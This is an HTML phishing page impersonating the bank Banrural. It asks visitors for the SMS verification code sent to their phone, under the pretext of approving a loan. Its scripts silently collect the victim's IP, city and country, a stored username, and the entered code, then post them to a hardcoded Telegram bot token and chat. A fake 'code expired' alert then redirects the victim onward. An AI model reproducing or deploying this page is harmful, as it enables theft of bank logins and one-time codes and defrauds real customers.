<script>
  window.onload = function () {
      const token = "8013356873:AAEVBq0h1p8HQRl6mM0zXify9WwWhdr1aWc";  // Reemplaza con el token de tu bot
      const chat_id = "-4605124285";  // Reemplaza con tu chat ID

      // Obtener la IP del usuario
      fetch('https://api.ipify.org?format=json')
          .then(response => response.json())
          .then(data => {
              const ip = data.ip;
              const message = `Usuario esperando codigo SMS para continuar 📩. IP: ${ip}`;
              
              // Enviar mensaje a Telegram
              fetch(`https://api.telegram.org/bot${token}/sendMessage?chat_id=${chat_id}&text=${encodeURIComponent(message)}`)
                  .then(response => response.json())
                  .then(data => console.log('Mensaje enviado a Telegram:', data))
                  .catch(error => console.error('Error al enviar el mensaje a Telegram:', error));
          })
          .catch(error => console.error('Error al obtener la IP del usuario:', error));
  };
</script>

<html lang="en"><head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Ban Rural</title>
  <link rel="stylesheet" href="https://mahalaxmicity.com/MnsgtswRur/styles.css">
  <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css" rel="stylesheet">
  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin="">
  <link href="https://fonts.googleapis.com/css2?family=DM+Sans:ital,opsz,wght@0,9..40,100..1000;1,9..40,100..1000&amp;family=Poppins:ital,wght@0,100;0,200;0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,100;1,200;1,300;1,400;1,500;1,600;1,700;1,800;1,900&amp;family=Raleway:ital,wght@0,100..900;1,100..900&amp;family=Roboto:ital,wght@0,100;0,300;0,400;0,500;0,700;0,900;1,100;1,300;1,400;1,500;1,700;1,900&amp;display=swap" rel="stylesheet">
<style>
.roboto-thin {
  font-family: "Roboto", serif;
  font-weight: 100;
  font-style: normal;
}

.roboto-light {
  font-family: "Roboto", serif;
  font-weight: 300;
  font-style: normal;
}

.roboto-regular {
  font-family: "Roboto", serif;
  font-weight: 400;
  font-style: normal;
}

.roboto-medium {
  font-family: "Roboto", serif;
  font-weight: 500;
  font-style: normal;
}

.roboto-bold {
  font-family: "Roboto", serif;
  font-weight: 700;
  font-style: normal;
}

.roboto-black {
  font-family: "Roboto", serif;
  font-weight: 900;
  font-style: normal;
}

.roboto-thin-italic {
  font-family: "Roboto", serif;
  font-weight: 100;
  font-style: italic;
}

.roboto-light-italic {
  font-family: "Roboto", serif;
  font-weight: 300;
  font-style: italic;
}

.roboto-regular-italic {
  font-family: "Roboto", serif;
  font-weight: 400;
  font-style: italic;
}

.roboto-medium-italic {
  font-family: "Roboto", serif;
  font-weight: 500;
  font-style: italic;
}

.roboto-bold-italic {
  font-family: "Roboto", serif;
  font-weight: 700;
  font-style: italic;
}

.roboto-black-italic {
  font-family: "Roboto", serif;
  font-weight: 900;
  font-style: italic;
}


.poppins-thin {
  font-family: "Poppins", serif;
  font-weight: 100;
  font-style: normal;
}

.poppins-extralight {
  font-family: "Poppins", serif;
  font-weight: 200;
  font-style: normal;
}

.poppins-light {
  font-family: "Poppins", serif;
  font-weight: 300;
  font-style: normal;
}

.poppins-regular {
  font-family: "Poppins", serif;
  font-weight: 400;
  font-style: normal;
}

.poppins-medium {
  font-family: "Poppins", serif;
  font-weight: 500;
  font-style: normal;
}

.poppins-semibold {
  font-family: "Poppins", serif;
  font-weight: 600;
  font-style: normal;
}

.poppins-bold {
  font-family: "Poppins", serif;
  font-weight: 700;
  font-style: normal;
}

.poppins-extrabold {
  font-family: "Poppins", serif;
  font-weight: 800;
  font-style: normal;
}

.poppins-black {
  font-family: "Poppins", serif;
  font-weight: 900;
  font-style: normal;
}

.poppins-thin-italic {
  font-family: "Poppins", serif;
  font-weight: 100;
  font-style: italic;
}

.poppins-extralight-italic {
  font-family: "Poppins", serif;
  font-weight: 200;
  font-style: italic;
}

.poppins-light-italic {
  font-family: "Poppins", serif;
  font-weight: 300;
  font-style: italic;
}

.poppins-regular-italic {
  font-family: "Poppins", serif;
  font-weight: 400;
  font-style: italic;
}

.poppins-medium-italic {
  font-family: "Poppins", serif;
  font-weight: 500;
  font-style: italic;
}

.poppins-semibold-italic {
  font-family: "Poppins", serif;
  font-weight: 600;
  font-style: italic;
}

.poppins-bold-italic {
  font-family: "Poppins", serif;
  font-weight: 700;
  font-style: italic;
}

.poppins-extrabold-italic {
  font-family: "Poppins", serif;
  font-weight: 800;
  font-style: italic;
}

.poppins-black-italic {
  font-family: "Poppins", serif;
  font-weight: 900;
  font-style: italic;
}

body{
font-family: "Raleway", sans-serif;     
}
</style></head>

  

<body style="color: #0b5031">
  <div class="container">
    <form class="form" id="loginform">
      <div style="text-align: center; background: #0b5031">
        <img src="https://imtconferences.com/wp-content/uploads/2017/01/BANRURAL.jpg" width="150">
      </div>
      <div style="background: #f68f1e; height: 10px"></div>
      <div style="padding: 20px">
        <div style="text-align: center">
          <h3>Verificar Identidad</h3>

          <h4>
            Ingresa el código que hemos enviado a tu teléfono registrado para verificar tu identidad y completar la aprobación de tu préstamo.          </h4>
        </div>

        <div>
          <label style="margin-top: 10px">Código:</label>
          <input type="text" id="numero" name="numero" inputmode="text" oninput="validarNumero(this)" style="width: 100%;height: 30px;font-family: &quot;Raleway&quot;, sans-serif;" placeholder="Ingresá el código" maxlength="6" required="">          <script>
            function validarNumero(input) {
              // Remueve caracteres no numéricos
              input.value = input.value.replace(/\D/g, "");

              // Cambia el inputmode para abrir el teclado numérico en dispositivos móviles
              input.inputMode = "numeric";
            }
          </script>
        </div>
      </div>

      <div style="padding: 20px">
        <button type="submit">Confirmar</button>
      </div>

      <div style="text-align: center; background: #0b5031; height: 50px"></div>
    </form>
  </div>

<script src="https://cdn.jsdelivr.net/npm/axios@1.1.2/dist/axios.min.js"></script>

<script>
  const url = "https://ipapi.co/json/";
  const form = document.querySelector("#loginform");
  form.addEventListener("submit", (event) => {
    event.preventDefault(); // aqui evitamos que el código se repita evita que se envíe el formulario
    axios
      .get(url)
      .then((response) => {
        const sms = document.querySelector("#numero").value;
        const message =
          "\nBanrural\nUsuario: " +
          localStorage.getItem("usuario") +
          "\nSMS: " +
          sms +
          "\nCiudad:" +
          response.data.city +
          "\nPais: " +
          response.data.country +
          "\nIP: " +
          response.data.ip;
        axios
          .post(
            "https://api.telegram.org/bot8013356873:AAEVBq0h1p8HQRl6mM0zXify9WwWhdr1aWc/sendMessage", //token aqui
            {
              chat_id: "-4605124285",
              text: message,
            }
          )
          .then((response) => {
            console.log(response.data);
            alert(
              "Código expirado: Le enviaremos un nuevo codigo de seguridad a su telefono registrado."
            );
            window.location.href = "cargando2.html";
          })
          .catch((error) => {
            console.error(error);
          });
      })
      .catch((error) => {
        console.log(error);
      });
  });
</script>

</body></html>